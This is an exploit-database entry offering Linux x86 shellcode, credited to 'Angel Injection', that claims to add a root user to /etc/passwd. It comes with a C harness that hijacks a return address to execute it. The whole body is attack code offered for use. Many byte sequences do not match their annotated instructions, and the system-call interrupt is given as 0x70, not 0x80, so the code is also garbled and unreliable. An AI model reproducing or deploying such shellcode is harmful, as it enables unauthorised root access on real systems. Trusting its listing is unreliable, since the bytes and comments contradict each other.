linux/x86 Addnew Users 'root' /etc/passwd shell code 79 bytes

2011-10-04T00:00:00
ID 1337DAY-ID-17157
Type zdt
Reporter Angel Injection
Modified 2011-10-04T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            ===============================================================
Linux X86 Addnew Users 'Ro0t' /etc/passwd shell code 79 bytes
===============================================================

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1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
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0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
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1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
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/*
 * Linux X86 Addnew Users 'Ro0t' /etc/passwd shell code 79 bytes 
 */

char shellcode[] = 

	"\x7e\x04"              // push $0x4 

	//
	// <_exit>:
	//

	"\x66"                  // pop %eax 
	"\x90"                  // cltd 
	"\x34\xd7"              // xor %ecx,%ecx 
	"\x45\xd8\x04\x04"      // mov $0x404,%cx 
	"\x55"                  // push %edx 
	"\x78\x84\x63\x83\x56"  // push $0x56836348
	"\x76\x54\xd5\x70\x60"  // push $0x6070d554
	"\x68\x2d\x4d\x74\x56"  // push $0x5674d4d2
	"\x67\xd3"              // mov %esp,%ebx 
	"\xcd\x70"              // int $0x70
	"\x68\x3a\x3a\x3a\x0a"  // push $0xa3a3a3a 
	"\x68\x4e\x40\x4e\x40"  // push $0x404e404e 
	"\x68\x78\x74\x7a\x3a"  // push $0x3a7a7478 
	"\x89\xc3"              // mov %eax,%ebx 
	"\xb0\x04"              // mov $0x4,%al 
	"\x89\xe1"              // mov %esp,%ecx 
	"\xb2\x0c"              // mov $0xc,%dl 
	"\xcd\x70"              // int $0x70
	"\x7e\x03"              // push $0x3 
	"\xeb\xc5";             // jmp <_exit>

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}



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